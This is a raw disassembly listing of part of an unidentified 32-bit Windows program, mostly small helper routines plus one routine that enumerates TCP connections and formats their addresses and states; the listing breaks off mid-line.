; --------------------------------------------------------------------------- loc_418960: ; CODE XREF: ___:00401EE2j mov eax, [esp+0Ch] push 0 push eax mov ecx, offset dword_449118 call sub_401771 ; --------------------------------------------------------------------------- retn 10h ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418990 proc near ; CODE XREF: sub_401B1Dj var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_4021DF mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_40162C mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_401438 mov edx, [esi+4] mov ecx, esi push edx call sub_402103 sub_418990 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418A00 proc near ; CODE XREF: sub_401B0Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_40139D sub_418A00 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418A40 proc near ; CODE XREF: sub_4021FDj var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401311 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401F69 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40155A mov edx, [esi+4] mov ecx, esi push edx call sub_40207C sub_418A40 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418AB0 proc near ; CODE XREF: sub_401F69j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_4015DC mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_401D98 mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_418AB0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418AF0 proc near ; CODE XREF: sub_401311j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_401D98 mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_418AF0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418B20 proc near ; CODE XREF: sub_4010B9j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401311 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401F69 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40155A pop esi add esp, 0Ch retn sub_418B20 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418B70 proc near ; CODE XREF: sub_4020A4j push esi mov esi, ecx call sub_401532 mov eax, esi pop esi retn sub_418B70 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418B90 proc near ; CODE XREF: sub_402234j mov eax, [ecx] push eax call sub_401172 add esp, 4 retn sub_418B90 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418BB0 proc near ; CODE XREF: sub_401361j push esi mov esi, ecx mov eax, [esi] push eax call sub_4015DC mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_418BB0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418BE0 proc near ; CODE XREF: sub_401703j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_40223E neg al sbb eax, eax inc eax retn 4 sub_418BE0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418C10 proc near ; CODE XREF: sub_401438j var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_40184D test al, al jz short loc_418C6A loc_418C28: ; CODE XREF: sub_418C10+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_40116D mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40123F ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_40184D test al, al jnz short loc_418C28 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_418C6A: ; CODE XREF: sub_418C10+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_418C10 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418CA0 proc near ; CODE XREF: sub_402103j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_401D6B sub_418CA0 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418CC0 proc near ; CODE XREF: sub_40155Aj var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401703 test al, al jz short loc_418D1A loc_418CD8: ; CODE XREF: sub_418CC0+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_4012A3 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40216C ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401703 test al, al jnz short loc_418CD8 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_418D1A: ; CODE XREF: sub_418CC0+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_418CC0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418D50 proc near ; CODE XREF: sub_40139Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_401C67 sub_418D50 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_418D65 mov edi, esi loc_418D65: ; CODE XREF: ___:00418D61j push esi call sub_4015DC mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_418D7A mov edi, esi loc_418D7A: ; CODE XREF: ___:00418D76j push esi call sub_401B31 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418DA0 proc near ; CODE XREF: sub_40207Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_4013FC sub_418DA0 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418DC0 proc near ; CODE XREF: sub_4015DCj arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_418DC0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418DE0 proc near ; CODE XREF: sub_401172j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_418DE0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418E00 proc near ; CODE XREF: sub_401532j mov eax, ecx retn sub_418E00 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418E20 proc near ; CODE XREF: sub_401D98j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_4020FE mov eax, esi pop esi retn 4 sub_418E20 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418E50 proc near ; CODE XREF: sub_40223Ej arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_418E50 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418E80 proc near ; CODE XREF: sub_40123Fj var_4 = byte ptr -4 arg_4 = byte ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_40116D mov ecx, eax call sub_401C9E mov esi, eax push esi call sub_401A96 push esi mov ebx, eax call sub_401C6C mov ecx, [eax] push ecx call sub_401A96 mov edx, [ebx] push esi mov [eax], edx call sub_401C6C push esi mov ebx, eax call sub_401A96 mov eax, [eax] push eax call sub_401C6C mov ecx, [ebx] push esi mov [eax], ecx call sub_401208 add esp, 1Ch mov ecx, edi push eax call sub_40176C push esi mov ecx, edi call sub_402103 sub_418E80 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418F40 proc near ; CODE XREF: sub_401D6Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_418F40 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418F60 proc near ; CODE XREF: sub_40116Dj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_401F28 mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_418F60 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418F90 proc near ; CODE XREF: sub_40216Cj var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_4012A3 mov ecx, eax call sub_401EEC mov esi, eax push esi call sub_4015DC push esi mov ebx, eax call sub_401B31 mov ecx, [eax] push ecx call sub_4015DC mov edx, [ebx] push esi mov [eax], edx call sub_401B31 push esi mov ebx, eax call sub_4015DC mov eax, [eax] push eax call sub_401B31 mov ecx, [ebx] push esi mov [eax], ecx call sub_401172 add esp, 1Ch mov ecx, edi push eax call sub_4018D4 push esi mov ecx, edi call sub_40207C sub_418F90 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419050 proc near ; CODE XREF: sub_401B31j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_419050 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_419070 proc near ; CODE XREF: sub_401C67j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D2A sub_419070 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4190A0 proc near ; CODE XREF: sub_4013FCj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_4190A0 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4190C0 proc near ; CODE XREF: sub_4020FEj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4190C0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4190E0 proc near ; CODE XREF: sub_4012A3j arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_401361 mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_4190E0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419110 proc near ; CODE XREF: sub_40176Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_8 pop ecx retn 4 sub_419110 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419130 proc near ; CODE XREF: sub_4018D4j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_4 pop ecx retn 4 sub_419130 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419150 proc near ; CODE XREF: sub_401EECj mov eax, [ecx] retn sub_419150 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4191B0 proc near ; CODE XREF: sub_402121j var_14 = dword ptr -14h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4191B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+18h+var_14], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 push 9 mov [esp+1Ch+var_4], 0 mov dword ptr [esi], offset off_43F074 call sub_437AEA sub_4191B0 endp ; --------------------------------------------------------------------------- add esp, 4 mov [esp+8], eax test eax, eax mov byte ptr [esp+14h], 1 jz short loc_41921D mov ecx, eax call sub_401F2D ; --------------------------------------------------------------------------- mov [esi+32h], eax mov eax, esi pop esi mov ecx, [esp+8] mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- loc_41921D: ; CODE XREF: ___:004191FFj mov ecx, [esp+0Ch] xor eax, eax mov [esi+32h], eax mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_419270 proc near ; CODE XREF: sub_401F2Dj push 0FFFFFFFFh push offset SEH_419270 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx push 14h call sub_437AEA sub_419270 endp ; --------------------------------------------------------------------------- add esp, 4 mov [esp+4], eax test eax, eax mov dword ptr [esp+10h], 0 jz short loc_4192BE mov ecx, eax call sub_4015C3 mov [esi], eax mov eax, esi pop esi mov ecx, [esp+4] mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- loc_4192BE: ; CODE XREF: ___:004192A1j mov ecx, [esp+8] xor eax, eax mov [esi], eax mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419300 proc near ; CODE XREF: sub_4015C3j mov eax, ecx retn sub_419300 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_419320 proc near ; CODE XREF: sub_401974j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_419320 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 14h push 1 push 14h push 13h push 14h push 5 lea eax, [esp+44h+var_24] push 0Eh mov esi, ecx push eax call sub_4019C4 add esp, 24h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_40168B add esi, 4 push eax push esi mov ecx, offset dword_449118 call sub_40159B sub_419320 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4193C0 proc near ; CODE XREF: sub_40111Dj var_2A4 = dword ptr -2A4h var_2A0 = dword ptr -2A0h var_29C = dword ptr -29Ch var_298 = dword ptr -298h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = byte ptr -28Ch var_274 = byte ptr -274h var_25C = byte ptr -25Ch var_23C = byte ptr -23Ch var_224 = byte ptr -224h var_199 = byte ptr -199h var_198 = byte ptr -198h var_119 = byte ptr -119h var_118 = byte ptr -118h var_99 = byte ptr -99h var_98 = byte ptr -98h var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_4193C0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 298h push ebx mov ebx, ecx push esi mov [esp+2ACh+var_2A4], ebx lea ecx, [ebx+4] call sub_4017EE mov esi, [esp+2ACh+arg_0] push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_419766 push ebp push edi push offset asc_444600 ; " " lea eax, [esp+2B8h+var_23C] push 1 push eax mov ecx, esi call sub_4016B8 mov ecx, eax call sub_40168B push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+2B4h+var_23C] mov [ebx+36h], eax call sub_401226 mov ecx, esi call sub_4017EE push eax lea ecx, [esp+2B8h+var_274] call sub_401870 xor ebp, ebp push offset dword_444D68 lea ecx, [esp+2B8h+var_274] mov [esp+2B8h+var_4], ebp mov [esp+2B8h+var_2A0], ebp call sub_4013ED test eax, eax jz short loc_41946F mov [esp+2B4h+var_2A0], 2 jmp short loc_419489 ; --------------------------------------------------------------------------- loc_41946F: ; CODE XREF: sub_4193C0+A3j push offset dword_444D64 lea ecx, [esp+2B8h+var_274] call sub_4013ED test eax, eax jz short loc_419489 mov [esp+2B4h+var_2A0], 1 loc_419489: ; CODE XREF: sub_4193C0+ADj ; sub_4193C0+BFj mov ecx, [ebx+32h] mov edi, offset dword_444D58 xor eax, eax mov edx, [ecx] or ecx, 0FFFFFFFFh add edx, 2 repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [ebx+32h] mov edx, [ecx] mov byte ptr [edx], 1 mov eax, [ebx+32h] mov [esp+2B4h+var_119], 0 mov [esp+2B4h+var_99], 0 mov [esp+2B4h+var_D], 0 mov [esp+2B4h+var_199], 0 mov eax, [eax] cmp byte ptr [eax], 0 jnz short loc_419518 mov esi, dword_511AA8 add eax, 2 push offset dword_444D58 push eax call esi ; _stricmp add esp, 8 test eax, eax jz short loc_419518 mov ecx, [ebx+32h] push offset off_444D54 mov edx, [ecx] add edx, 2 push edx call esi ; _stricmp add esp, 8 test eax, eax jnz loc_41974C loc_419518: ; CODE XREF: sub_4193C0+123j ; sub_4193C0+13Bj push 0C00h mov [esp+2B8h+var_294], 0C00h nop call near ptr 77C2C407h add esp, 4 mov esi, eax lea eax, [esp+2B4h+var_294] mov [esp+2B4h+var_29C], esi push 1 push eax push esi mov [esi], ebp call sub_437F50 ; --------------------------------------------------------------------------- mov eax, [esi] mov [esp+2B4h+var_298], ebp cmp eax, ebp jle loc_419742 lea ebp, [esi+14h] loc_419554: ; CODE XREF: sub_4193C0+37Cj cmp dword ptr [ebp-10h], 2 jnz short loc_419568 mov ecx, [ebx+32h] mov edx, [ecx] cmp byte ptr [edx], 0 jz loc_41972C loc_419568: ; CODE XREF: sub_4193C0+198j mov ax, [ebp-8] mov esi, dword_511C5C push eax call esi ; ntohs mov cx, [ebp+0] mov [esp+2B4h+var_290], eax push ecx call esi ; ntohs mov esi, [esp+2B4h+var_2A4] mov ebx, eax mov eax, [ebp-0Ch] push 1 lea edx, [esp+2B8h+var_198] push 7Fh push edx push eax mov ecx, esi call sub_40147E mov edx, [ebp-4] push 0 lea ecx, [esp+2B8h+var_118] push 7Fh push ecx push edx mov ecx, esi call sub_40147E mov eax, [ebp-10h] sub eax, 2 jz short loc_4195CC sub eax, 3 jnz short loc_4195F2 lea edx, [esp+2B4h+var_25C] mov edi, offset aEstablished ; "established" jmp short loc_4195D5 ; --------------------------------------------------------------------------- loc_4195CC: ; CODE XREF: sub_4193C0+1FAj lea edx, [esp+2B4h+var_25C] mov edi, offset aListening ; "listening" loc_4195D5: ; CODE XREF: sub_4193C0+20Aj or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_4195F2: ; CODE XREF: sub_4193C0+1FFj mov ecx, 23h xor eax, eax lea edi, [esp+2B4h+var_98] rep stosd mov ecx, 23h lea edi, [esp+2B4h+var_224] rep stosd cmp dword ptr [ebp-10h], 2 jnz short loc_419618 xor ebx, ebx loc_419618: ; CODE XREF: sub_4193C0+254j mov esi, [esp+2B4h+var_290] lea ecx, [esp+2B4h+var_198] and esi, 0FFFFh lea edx, [esp+2B4h+var_98] push esi push ecx push offset aSD_1 ; "%s:%d" push 8Bh push edx call near ptr 77C3FA76h nop mov edi, ebx lea eax, [esp+2C8h+var_118] and edi, 0FFFFh lea ecx, [esp+2C8h+var_224] push edi push eax push offset aSD_1 ; "%s:%d" push 8Bh push ecx nop call near ptr 77C3FA76h add esp, 28h lea ecx, [esp+2B4h+var_28C] call sub_40142E mov eax, [esp+2B4h+var_2A0] mov byte ptr [esp+2B4h+var_4], 1 test bx, bx jnz short loc_4196AE cmp eax, 1 jz loc_419713 mov edx, [esp+2B4h+var_2A4] mov eax, [edx+36h] test eax, eax jz short loc_4196A1 cmp eax, esi jnz short loc_419713 loc_4196A1: ; CODE XREF: sub_4193C0+2DBj lea eax, [esp+2B4h+var_25C] push esi push eax push offset aSD_0 ; "%s: %d" jmp short loc_4196D4 ; --------------------------------------------------------------------------- loc_4196AE: ; CODE XREF: sub_4193C0+2C7j cmp eax, 2 jz short loc_419713 mov ecx, [esp+2B4h+var_2A4] mov eax, [ecx+36h] test eax, eax jz short loc_4196C2 cmp eax, edi jnz short loc_419713 loc_4196C2: ; CODE XREF: sub_4193C0+2FCj lea edx, [esp+2B4h+var_224] lea eax, [esp+2B4h+var_25C] push edx push eax push offset aSS_6 ; "%s: %s" loc_4196D4: ; CODE XREF: sub_4193C0+2ECj lea ecx, [esp+2C0h+var_28C] push ecx call sub_40102D mov esi, [esp+2C4h+arg_0] add esp, 10h lea ecx, [esi+69h] call sub_4014DD push eax lea ecx, [esp+2B8h+var_28C] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D8075 call sub_401118 loc_419713: ; CODE XREF: sub_4193C0+2CCj ; sub_4193C0+2DFj ... lea ecx, [esp+2B4h+var_28C] mov byte ptr [esp+2B4h+var_4], 0 call sub_401226 mov esi, [esp+2B4h+var_29C] mov ebx, [esp+2B4h+var_2A4] loc_41972C: ; CODE XREF: sub_4193C0+1A2j mov eax, [esp+2B4h+var_298] mov ecx, [esi] inc eax add ebp, 14h cmp eax, ecx mov [esp+2B4h+var_298], eax jl loc_419554 loc_419742: ; CODE XREF: sub_4193C0+18Bj push esi nop call near ptr 77C2C21Bh add esp, 4 loc_41974C: ; CODE XREF: sub_4193C0+152j lea ecx, [esp+2B4h+var_274] mov [esp+2B4h+var_4], 0FFFFFFFFh call sub_401226 pop edi mov al, 1 pop ebp jmp short loc_419768 ; --------------------------------------------------------------------------- loc_419766: ; CODE XREF: sub_4193C0+3Dj mov al, 1 loc_419768: ; CODE XREF: sub_4193C0+3A4j mov ecx, [esp+2ACh+var_C] pop esi pop ebx mov large fs:0, ecx add esp, 2A4h retn 4 sub_4193C0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419890 proc near ; CODE XREF: sub_40147Ej var_20 = byte ptr -20h arg_0 = byte ptr 4 arg_3 = dword ptr 7 arg_8 = dword ptr 0Ch arg_C = byte ptr 10h mov eax, [esp+arg_3] sub esp, 20h mov edx, [esp+25h] and eax, 0FFh push ebx push ebp push esi mov esi, ecx mov ecx, [esp+32h] mov ebx, [esp+2Ch+arg_8] mov ebp, [esp+2Ch+arg_3+1] push eax mov eax, [esp+34h] and ecx, 0FFh and edx, 0FFh push ecx and eax, 0FFh push edx push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push ebx push ebp call near ptr 77C3FA76h nop mov ecx, [esi+32h] add esp, 1Ch mov al, [ecx+4] test al, al jnz short loc_419950 mov al, [esp+2Ch+arg_C] test al, al jnz short loc_41991E mov eax, [esp+30h] test eax, eax jz short loc_41991E push 2 lea edx, [esp+30h+arg_0] push 4 push edx nop call near ptr 71ABE479h test eax, eax jz short loc_419950 mov eax, [eax] push ebx push eax push ebp nop call near ptr 77C47A90h add esp, 0Ch pop esi pop ebp pop ebx add esp, 20h retn 10h ; --------------------------------------------------------------------------- loc_41991E: ; CODE XREF: sub_419890+5Aj ; sub_419890+62j push edi mov ecx, 7 xor eax, eax lea edi, [esp+30h+var_20] rep stosd lea ecx, [esp+30h+var_20] push 1Dh push ecx stosw nop call near ptr 71AB50C8h test eax, eax pop edi jnz short loc_419950 lea edx, [esp+2Ch+var_20] push ebx push edx push ebp nop call near ptr 77C47A90h add esp, 0Ch loc_419950: ; CODE XREF: sub_419890+52j ; sub_419890+75j ... pop esi pop ebp pop ebx add esp, 20h retn 10h sub_419890 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4199A0 proc near ; CODE XREF: sub_401F0Aj nop call near ptr 27E0B10h push eax call near ptr 77C371BCh nop pop ecx retn sub_4199A0 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4199C0 proc near ; CODE XREF: sub_4021C6j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push esi call near ptr 77C371D3h nop mov esi, [esp+8+arg_0] mov [esp+8+var_4], eax mov eax, [esp+8+arg_4] fild [esp+8+var_4] sub eax, esi mov [esp+8+arg_4], eax fimul [esp+8+arg_4] fmul dbl_43F0B0 call sub_437BDA sub_4199C0 endp ; --------------------------------------------------------------------------- sub esi, eax mov eax, esi pop esi pop ecx retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_419A10: ; CODE XREF: ___:00401C99j nop call near ptr 77C371D3h cdq idiv dword ptr [esp+4] mov eax, edx retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- locret_419A30: ; CODE XREF: ___:00401528j retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419A50 proc near ; CODE XREF: sub_401FE1j xor al, al retn 4 sub_419A50 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419A70 proc near ; CODE XREF: sub_40152Dj arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword 